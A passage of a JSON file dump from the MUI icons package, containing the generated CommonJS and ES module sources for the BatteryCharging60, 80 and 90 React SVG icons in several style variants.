{\n    d: \"M13 12.5h2L11 20v-5.5H9l1.87-3.5H7v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11h-4v1.5z\"\n  })]\n}), 'BatteryCharging60');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging60.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h3.87L13 7v4h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9l1.87-3.5H7v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11h-4v1.5z\"\n  })]\n}), 'BatteryCharging60');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging60Outlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h3.87L13 7v4h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9l1.87-3.5H7v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11h-4v1.5z\"\n  })]\n}), 'BatteryCharging60Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging60Outlined.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h3.87L13 7v4h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9l1.87-3.5H7v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11h-4v1.5z\"\n  })]\n}), 'BatteryCharging60Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging60Rounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V11h3.87l1.19-2.24c.24-.45.94-.28.94.24v2h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M13 12.5h1.17c.38 0 .62.4.44.74l-2.67 5c-.24.45-.94.28-.94-.24v-3.5H9.83c-.38 0-.62-.4-.44-.74L10.87 11H7v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11h-4v1.5z\"\n  })]\n}), 'BatteryCharging60Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging60Rounded.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V11h3.87l1.19-2.24c.24-.45.94-.28.94.24v2h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M13 12.5h1.17c.38 0 .62.4.44.74l-2.67 5c-.24.45-.94.28-.94-.24v-3.5H9.83c-.38 0-.62-.4-.44-.74L10.87 11H7v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11h-4v1.5z\"\n  })]\n}), 'BatteryCharging60Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging60Sharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v7h3.87L13 7v4h4V4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9l1.87-3.5H7v11h10V11h-4v1.5z\"\n  })]\n}), 'BatteryCharging60Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging60Sharp.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v7h3.87L13 7v4h4V4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9l1.87-3.5H7v11h10V11h-4v1.5z\"\n  })]\n}), 'BatteryCharging60Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging60TwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h3.87L13 7v4h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9l1.87-3.5H7v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11h-4v1.5z\"\n  })]\n}), 'BatteryCharging60TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging60TwoTone.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h3.87L13 7v4h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9l1.87-3.5H7v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11h-4v1.5z\"\n  })]\n}), 'BatteryCharging60TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging80.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h4.93L13 7v2h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9L11.93 9H7v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9h-4v3.5z\"\n  })]\n}), 'BatteryCharging80');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging80.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h4.93L13 7v2h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9L11.93 9H7v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9h-4v3.5z\"\n  })]\n}), 'BatteryCharging80');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging80Outlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h4.93L13 7v2h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9L11.93 9H7v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9h-4v3.5z\"\n  })]\n}), 'BatteryCharging80Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging80Outlined.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h4.93L13 7v2h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9L11.93 9H7v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9h-4v3.5z\"\n  })]\n}), 'BatteryCharging80Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging80Rounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V9h4.93l.13-.24c.24-.45.94-.28.94.24h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M13 12.5h1.17c.38 0 .62.4.44.74l-2.67 5c-.24.45-.94.28-.94-.24v-3.5H9.83c-.38 0-.62-.4-.44-.74L11.93 9H7v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9h-4v3.5z\"\n  })]\n}), 'BatteryCharging80Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging80Rounded.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V9h4.93l.13-.24c.24-.45.94-.28.94.24h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M13 12.5h1.17c.38 0 .62.4.44.74l-2.67 5c-.24.45-.94.28-.94-.24v-3.5H9.83c-.38 0-.62-.4-.44-.74L11.93 9H7v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9h-4v3.5z\"\n  })]\n}), 'BatteryCharging80Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging80Sharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v5h4.93L13 7v2h4V4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9L11.93 9H7v13h10V9h-4v3.5z\"\n  })]\n}), 'BatteryCharging80Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging80Sharp.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v5h4.93L13 7v2h4V4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9L11.93 9H7v13h10V9h-4v3.5z\"\n  })]\n}), 'BatteryCharging80Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging80TwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h4.93L13 7v2h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9L11.93 9H7v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9h-4v3.5z\"\n  })]\n}), 'BatteryCharging80TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging80TwoTone.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h4.93L13 7v2h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9L11.93 9H7v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9h-4v3.5z\"\n  })]\n}), 'BatteryCharging80TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging90.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h5.47L13 7v1h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9L12.47 8H7v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8h-4v4.5z\"\n  })]\n}), 'BatteryCharging90');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging90.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h5.47L13 7v1h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9L12.47 8H7v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8h-4v4.5z\"\n  })]\n}), 'BatteryCharging90');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging90Outlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h5.47L13 7v1h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9L12.47 8H7v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8h-4v4.5z\"\n  })]\n}), 'BatteryCharging90Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging90Outlined.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h5.47L13 7v1h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9L12.47 8H7v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8h-4v4.5z\"\n  })]\n}), 'BatteryCharging90Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging90Rounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V8h10V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 20.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8H7v12.67zm2.39-6.91l2.67-5c.24-.45.94-.28.94.24v3.5h1.17c.38 0 .62.4.44.74l-2.67 5c-.24.45-.94.28-.94-.24v-3.5H9.83c-.37 0-.62-.4-.44-.74z\"\n  })]\n}), 'BatteryCharging90Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging90Rounded.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V8h10V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 20.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8H7v12.67zm2.39-6.91l2.67-5c.24-.45.94-.28.94.24v3.5h1.17c.38 0 .62.4.44.74l-2.67 5c-.24.45-.94.28-.94-.24v-3.5H9.83c-.37 0-.62-.4-.44-.74z\"\n  })]\n}), 'BatteryCharging90Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging90Sharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v4h5.47L13 7v1h4V4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9L12.47 8H7v14h10V8h-4v4.5z\"\n  })]\n}), 'BatteryCharging90Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging90Sharp.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v4h5.47L13 7v1h4V4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M13 12.5h2L11 20v-5.5H9L12.47 8H7v14h10V8h-4v4.5z\"\n  })]\n}), 'BatteryCharging90Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging90TwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h5.47L13 7v1h4V5.33C17 4.6 16.4 4 15.67 4z\"\n  }), 